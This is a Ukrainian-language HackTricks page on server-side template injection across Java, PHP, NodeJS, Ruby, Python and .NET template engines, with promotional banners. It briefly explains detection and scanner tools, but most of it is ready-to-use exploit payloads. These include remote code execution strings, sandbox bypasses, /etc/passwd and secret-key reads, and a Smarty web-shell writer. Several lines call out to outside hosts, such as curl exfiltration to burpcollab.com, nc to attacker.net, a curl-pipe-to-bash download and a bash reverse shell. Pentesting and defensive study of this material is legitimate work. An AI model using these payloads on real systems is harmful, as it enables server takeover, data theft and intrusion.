.. | ||
el-expression-language.md | ||
jinja2-ssti.md | ||
README.md |
SSTI (Server Side Template Injection)
Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!
Інші способи підтримки HackTricks:
- Якщо ви хочете побачити рекламу вашої компанії на HackTricks або завантажити HackTricks у форматі PDF, перевірте ПЛАНИ ПІДПИСКИ!
- Отримайте офіційний PEASS & HackTricks мерч
- Відкрийте для себе Сім'ю PEASS, нашу колекцію ексклюзивних NFT
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами на Twitter 🐦 @carlospolopm.
- Поділіться своїми хакерськими трюками, надсилайте PR до HackTricks і HackTricks Cloud репозиторіїв на GitHub.
RootedCON є найбільш важливою подією з кібербезпеки в Іспанії та однією з найважливіших в Європі. З метою просування технічних знань цей конгрес є важливою точкою зустрічі для професіоналів у галузі технологій та кібербезпеки у будь-якій дисципліні.
{% embed url="https://www.rootedcon.com/" %}
Що таке SSTI (Внедрення шаблонів на серверному боці)
Вразливість внедрення шаблонів на серверному боці виникає, коли зловмисник може впровадити шкідливий код у шаблон, який виконується на сервері. Цю вразливість можна знайти в різних технологіях, включаючи Jinja.
Jinja є популярним шаблонним движком, який використовується в веб-додатках. Розглянемо приклад, який демонструє уразливий фрагмент коду, використовуючи Jinja:
output = template.render(name=request.args.get('name'))
У цьому вразливому коді параметр name
з запиту користувача безпосередньо передається в шаблон за допомогою функції render
. Це потенційно може дозволити зловмиснику впровадити шкідливий код в параметр name
, що призведе до впровадження шаблону на сервері.
Наприклад, зловмисник може створити запит з таким навантаженням:
http://vulnerable-website.com/?name={{bad-stuff-here}}
Пейлоад {{погані-речі-тут}}
впроваджується в параметр name
. Цей пейлоад може містити директиви шаблону Jinja, які дозволяють зловмиснику виконувати несанкціонований код або маніпулювати шаблонним двигуном, потенційно отримуючи контроль над сервером.
Для запобігання вразливостей впровадження шаблонів на сервері розробники повинні переконатися, що ввід користувача належним чином очищений та перевірений перед вставкою в шаблони. Впровадження перевірки вводу та використання технік екранування, які враховують контекст, можуть допомогти зменшити ризик цієї вразливості.
Виявлення
Для виявлення впровадження шаблону на сервері (SSTI) спочатку фазування шаблону є прямим підходом. Це включає впровадження послідовності спеціальних символів (${{<%[%'"}}%\
) у шаблон та аналіз відмінностей у відповіді сервера на звичайні дані порівняно з цим спеціальним пейлоадом. Індикатори вразливості включають:
- Викидані помилки, що розкривають вразливість та, можливо, шаблонний двигун.
- Відсутність пейлоаду у відображенні або відсутність його частин, що вказує на те, що сервер обробляє його по-іншому, ніж звичайні дані.
- Контекст звичайного тексту: Відрізнити від XSS, перевіривши, чи оцінює сервер вирази шаблону (наприклад,
{{7*7}}
,${7*7}
). - Контекст коду: Підтвердіть вразливість, змінивши вхідні параметри. Наприклад, змінивши
greeting
уhttp://vulnerable-website.com/?greeting=data.username
, щоб побачити, чи вихід сервера динамічний чи фіксований, як уgreeting=data.username}}hello
, що повертає ім'я користувача.
Фаза ідентифікації
Ідентифікація шаблонного двигуна включає аналіз повідомлень про помилки або ручне тестування різних мовно-специфічних пейлоадів. Загальні пейлоади, які викликають помилки, включають ${7/0}
, {{7/0}}
та <%= 7/0 %>
. Спостереження за відповіддю сервера на математичні операції допомагає визначити конкретний шаблонний двигун.
Інструменти
TInjA
ефективний сканер SSTI + CSTI, який використовує нові поліглоти
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
SSTImap
python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s
Tplmap
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
Таблиця впровадження шаблонів
інтерактивна таблиця, що містить найефективніші поліглоти впровадження шаблонів разом із очікуваними відповідями 44 найважливіших двигунів шаблонів.
Експлойти
Загальні
У цьому списку слів ви можете знайти змінні, визначені в середовищах деяких з нижче зазначених двигунів:
- https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt
- https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt
Java
Java - Основне впровадження
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
Java - Отримання змінних середовища системи
${T(java.lang.System).getenv()}
Java - Отримання /etc/passwd
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
FreeMarker (Java)
Ви можете спробувати свої вразливості на https://try.freemarker.apache.org
{{7*7}} = {{7*7}}
${7*7} = 49
#{7*7} = 49 -- (legacy)
${7*'7'} Nothing
${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
Freemarker - Обхід пісочниці
⚠️ працює лише на версіях Freemarker нижче 2.3.30
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
Додаткова інформація
- В розділі FreeMarker на https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker
Velocity (Java)
// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end
Додаткова інформація
- У розділі Velocity на https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity
Thymeleaf
У Thymeleaf для перевірки вразливостей на SSTI часто використовується вираз ${7*7}
, який також застосовується до цього шаблонного двигуна. Для потенційного виконання віддаленого коду можна використовувати вирази наступного вигляду:
- SpringEL:
${T(java.lang.Runtime).getRuntime().exec('calc')}
- OGNL:
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
Thymeleaf вимагає, щоб ці вирази були розміщені в певних атрибутах. Однак вбудовування виразів підтримується для інших місць шаблону, використовуючи синтаксис типу [[...]]
або [(...)]
. Таким чином, простий тестовий навантаження SSTI може виглядати як [[${7*7}]]
.
Проте ймовірність успішності цього навантаження, як правило, низька. У конфігурації за замовчуванням Thymeleaf не підтримує динамічне створення шаблонів; шаблони повинні бути попередньо визначені. Розробники повинні реалізувати власний TemplateResolver
для створення шаблонів з рядків на льоту, що є рідкісним.
Thymeleaf також пропонує попередню обробку виразів, де вирази всередині подвійних підкреслень (__...__
) попередньо обробляються. Цю функцію можна використовувати при побудові виразів, як показано в документації Thymeleaf:
#{selection.__${sel.code}__}
Приклад уразливості в Thymeleaf
Розгляньте наступний фрагмент коду, який може бути вразливим для експлуатації:
<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
Це свідчить про те, що якщо шаблонний двигун неправильно обробляє ці вхідні дані, це може призвести до виконання віддаленого коду з доступом до URL-адрес, таких як:
http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
Додаткова інформація
{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}
Spring Framework (Java)
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
Обхід фільтрів
Можна використовувати кілька виразів змінних, якщо ${...}
не працює, спробуйте #{...}
, *{...}
, @{...}
або ~{...}
.
- Прочитати
/etc/passwd
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
- Власний скрипт для генерації пейлоаду
#!/usr/bin/python3
## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"
from sys import argv
cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'
count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1
print(base_payload + end_payload)
Додаткова інформація
Маніпулювання виглядом Spring (Java)
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}
Pebble (Java)
{{ someString.toUPPERCASE() }}
Стара версія Pebble ( < version 3.0.9):
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
Нова версія Pebble:
{% raw %}
{% set cmd = 'id' %}
{% endraw %}
{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}
Jinjava (Java)
Jinjava (Java)
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
Jinjava - це відкритий проект, розроблений компанією Hubspot, доступний за посиланням https://github.com/HubSpot/jinjava/
Jinjava - Виконання команд
Виправлено за допомогою https://github.com/HubSpot/jinjava/pull/230
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
Додаткова інформація
Hubspot - HuBL (Java)
{% %}
- роздільники операторів{{ }}
- роздільники виразів{# #}
- роздільники коментарів{{ request }}
- com.hubspot.content.hubl.context.TemplateContextRequest@23548206{{'a'.toUpperCase()}}
- "A"{{'a'.concat('b')}}
- "ab"{{'a'.getClass()}}
- java.lang.String{{request.getClass()}}
- class com.hubspot.content.hubl.context.TemplateContextRequest{{request.getClass().getDeclaredMethods()[0]}}
- public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
Пошук за "com.hubspot.content.hubl.context.TemplateContextRequest" та виявлення проекту Jinjava на Github.
{{request.isDebug()}}
//output: False
//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4
//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797
//It was also possible to call methods on the created object by combining the
{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}
{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.
//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx
//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e
//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution
//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
Додаткова інформація
Мова виразів - EL (Java)
${"aaaa"}
- "aaaa"${99999+1}
- 100000.#{7*7}
- 49${{7*7}}
- 49${{request}}, ${{session}}, {{faceContext}}
Мова виразів (EL) є фундаментальною функцією, яка сприяє взаємодії між рівнем презентації (наприклад, веб-сторінками) та логікою додатків (наприклад, керованими бінами) в JavaEE. Вона широко використовується в різних технологіях JavaEE для оптимізації цієї взаємодії. Ключові технології JavaEE, які використовують EL, включають:
- JavaServer Faces (JSF): Використовує EL для зв'язування компонентів на сторінках JSF з відповідними даними та діями на бекенді.
- JavaServer Pages (JSP): EL використовується в JSP для доступу та маніпулювання даними в межах сторінок JSP, що спрощує зв'язок елементів сторінки з даними додатка.
- Contexts and Dependency Injection for Java EE (CDI): EL інтегрується з CDI для забезпечення безшовної взаємодії між веб-рівнем та керованими бінами, забезпечуючи більш згуртовану структуру додатка.
Перевірте наступну сторінку, щоб дізнатися більше про експлуатацію інтерпретаторів EL:
{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}
Groovy (Java)
Наступні обхіди безпекового менеджера були взяті з цього опису.
//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x
//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x
//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
RootedCON - найбільш важлива подія з кібербезпеки в Іспанії та одна з найважливіших в Європі. З місією просування технічних знань, цей конгрес є важливою точкою зустрічі для професіоналів технологій та кібербезпеки у будь-якій галузі.
{% embed url="https://www.rootedcon.com/" %}
Smarty (PHP)
{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3
Додаткова інформація
- У розділі Smarty на https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty
Twig (PHP)
{{7*7}} = 49
${7*7} = ${7*7}
{{7*'7'}} = 49
{{1/0}} = Помилка
{{foobar}} Нічого
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}
#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}
Twig - Формат шаблону
$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);
$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);
Додаткова інформація
- У розділі Twig та Twig (Sandboxed) на https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig
Plates (PHP)
Plates - це система шаблонів, властива PHP, яка надихається Twig. Однак, на відміну від Twig, який вводить новий синтаксис, Plates використовує вбудований PHP-код у шаблонах, що робить його інтуїтивно зрозумілим для розробників PHP.
Контролер:
// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');
// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);
Сторінка шаблону:
<?php $this->layout('template', ['title' => 'User Profile']) ?>
<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>
Шаблон макету:
<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>
Додаткова інформація
PHPlib та HTML_Template_PHPLIB (PHP)
HTML_Template_PHPLIB є тим же, що і PHPlib, але портований на Pear.
authors.tpl
<html>
<head><title>{PAGE_TITLE}</title></head>
<body>
<table>
<caption>Authors</caption>
<thead>
<tr><th>Name</th><th>Email</th></tr>
</thead>
<tfoot>
<tr><td colspan="2">{NUM_AUTHORS}</td></tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>
authors.php
- це файл, який використовується для відображення списку авторів на веб-сайті.
<?php
//we want to display this author list
$authors = array(
'Christian Weiske' => 'cweiske@php.net',
'Bjoern Schotte' => 'schotte@mayflower.de'
);
require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');
//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));
//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}
//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>
Додаткова інформація
Jade (NodeJS)
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
Додаткова інформація
- У розділі Jade на https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen
patTemplate (PHP)
patTemplate - це PHP шаблонний двигун, який не компілюється, використовує XML теги для розділення документа на різні частини
<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>
Додаткова інформація
Handlebars (NodeJS)
Трасування шляху (додаткова інформація тут).
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
- = Помилка
- ${7*7} = ${7*7}
- Нічого
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D
Додаткова інформація
JsRender (NodeJS)
Шаблон | Опис |
---|---|
Оцінка та відображення виводу | |
Оцінка та відображення виводу з HTML-кодуванням | |
Коментар | |
and | Дозволяє код (за замовчуванням вимкнено) |
- = 49
Клієнтська частина
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
Сторона сервера
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
Додаткова інформація
PugJs (NodeJS)
#{7*7} = 49
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}
Приклад рендерингу на стороні сервера
var pugjs = require('pug');
home = pugjs.render(injected_page)
Додаткова інформація
NUNJUCKS (NodeJS)
- {{7*7}} = 49
- {{foo}} = Немає виводу
- #{7*7} = #{7*7}
- {{console.log(1)}} = Помилка
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}}
Додаткова інформація
ERB (Ruby)
{{7*7}} = {{7*7}}
${7*7} = ${7*7}
<%= 7*7 %> = 49
<%= foobar %> = Помилка
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines() %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
Додаткова інформація
Slim (Ruby)
{ 7 * 7 }
{ %x|env| }
Додаткова інформація
Python
Зверніть увагу на наступну сторінку, щоб дізнатися трюки щодо проходження піщаних скриньок шляхом виконання довільних команд в Python:
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}
Tornado (Python)
{{7*7}} = 49
${7*7} = ${7*7}
{{foobar}} = Error
{{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}
{% import os %}
{% endraw %}
{{os.system('whoami')}}
{{os.system('whoami')}}
Додаткова інформація
Jinja2 (Python)
Jinja2 - це повнофункціональний шаблонний движок для Python. Він має повну підтримку Unicode, опціональне інтегроване середовище виконання в пісочниці, широко використовується та ліцензований за BSD.
{{7*7}} = Помилка
${7*7} = ${7*7}
{{foobar}} Нічого
{{4*4}}[[5*5]]
{{7*'7'}} = 7777777
{{config}}
{{config.items()}}
{{settings.SECRET_KEY}}
{{settings}}
<div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}
{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
Jinja2 - Формат шаблону
{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}
RCE, який не залежить від __builtins__
:
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
Додаткові відомості про те, як зловживати Jinja:
{% content-ref url="jinja2-ssti.md" %} jinja2-ssti.md {% endcontent-ref %}
Інші вразливості за посиланням https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2
Mako (Python)
<%
import os
x=os.popen('id').read()
%>
${x}
Додаткова інформація
Razor (.Net)
@(2+2) <= Успішно
@() <= Успішно
@("{{code}}") <= Успішно
@ <= Успішно
@{} <= ПОМИЛКА!
@{ <= ПОМИЛКА!
@(1+2)
@( //C#Code )
@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
